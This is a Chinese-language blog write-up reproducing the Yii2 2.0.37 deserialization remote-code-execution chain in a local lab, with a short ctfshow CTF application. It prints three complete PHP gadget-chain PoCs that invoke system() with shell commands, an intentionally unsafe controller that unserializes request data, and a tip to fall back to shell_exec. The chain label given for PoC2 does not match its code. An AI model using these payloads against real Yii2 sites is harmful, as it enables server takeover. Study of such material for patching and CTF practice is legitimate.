yii漏洞復現以及對yii相關的ctf題分析
Yii2漏洞復現
環境準備:
1.win10
2.PHPstudy :php版本7.3.4
3.yii2版本:2.0.37和2.0.38
環境的安裝準備:
1.phpstudy的安裝就不多說了,關鍵後面要執行php,建議吧php放進環境變數中(可以百度一下)
2.搭建yii2,可以去github下載。
https://github.com/yiisoft/yii2/releases/tag/2.0.37
下載好後解壓在phpstudy的www下就行了,然後改一下yii/config/web.php,我圖片中的那個隨便改一下就行了
然後進入目錄執行命令,我的是在C盤下的祕鑰分盤,建議換盤進行。
php yii serve
這個樣子差不多就好了,然後訪問
http://localhost:8080/
就可以看到這個畫面就搭建成功了
漏洞分析:
漏洞的出發點是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php
檔案中,
這裡呼叫reset()
方法,跟進檢視reset()
方法
並且這裡$this->dataReader
可控,可以呼叫不存在close()
方法並且存在__call()
方法的類,就是找一個跳板。$this->_dataREader->close()
這裡可以利用魔術方法__call
,於是開始全域性搜尋__call
。在\yii\vendor\fzaninotto\faker\src\Faker\Generator.php
跟進format
跟進檢視getFormatter
format
裡呼叫了call_user_func_array
,$formatter
與$arguments
都不可控,目前$formatter='close'
,$arguments
為空。$formatter
傳入了$this->getFormatter
,在這個方法中,$this->formatters
是可控的,這也就意味著getFormatter
方法的返回值是可控的。
也就是說all_user_func_array
這個函式的第一個引數可控,第二個引數為空
現在可以呼叫yii框架中的任何一個無參的方法。所以,要找一個無引數的方法,在這個方法中我們可以實現任意程式碼執行或者間接實現任意程式碼執行。
查詢呼叫了call_user_func
函式的無參方法。
構造正則
function \w+\(\) ?\n?\{(.*\n)+call_user_func
檢視IndexAction.php
中的run
方法
可以看到$this->checkAccess
以及$this->id
都可控,構成利用鏈
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
這上面的分析我借鑑大佬的部落格,
要執行的鏈子POC:
在yii目錄下建立poc.php
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
驗證payload,因為這僅僅是一個反序列化利用鏈,所以還需要一個反序列化的入口點,這個需要自己構造
在controllers目錄下建立一個Controller:
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
class TestController extends \yii\web\Controller
{
public function actionSss($data){
return unserialize(base64_decode($data));
}
}
?>
然後用cmd在當前目錄下執行這個poc
php poc.php
http://localhost:8080/index.php?r=test/sss&data=[payload]
然後運用hackbar進行RCE。要注意rce的點在哪裡啊,多的就不解釋了;這個樣子差不多漏洞就復現完成了;
POC2鏈子:
利用鏈2
Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 這裡需要改為isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
同上執行這個poc2.php。
POC3鏈子:
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 這裡需要改為isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
同上執行:
以上就是復現的漏洞結果;下面是ctf題;
在ctfshow裡面的反序列化中也可以利用這個poc
但是在執行命令的時候system這個函式不用了,可以試試shell_exec
shell_exec — 通過 shell 環境執行命令,並且將完整的輸出以字串的方式返回。
參考借鑑:
https://www.cnblogs.com/thresh/p/13743081.html
https://blog.csdn.net/xuandao_ahfengren/article/details/111259943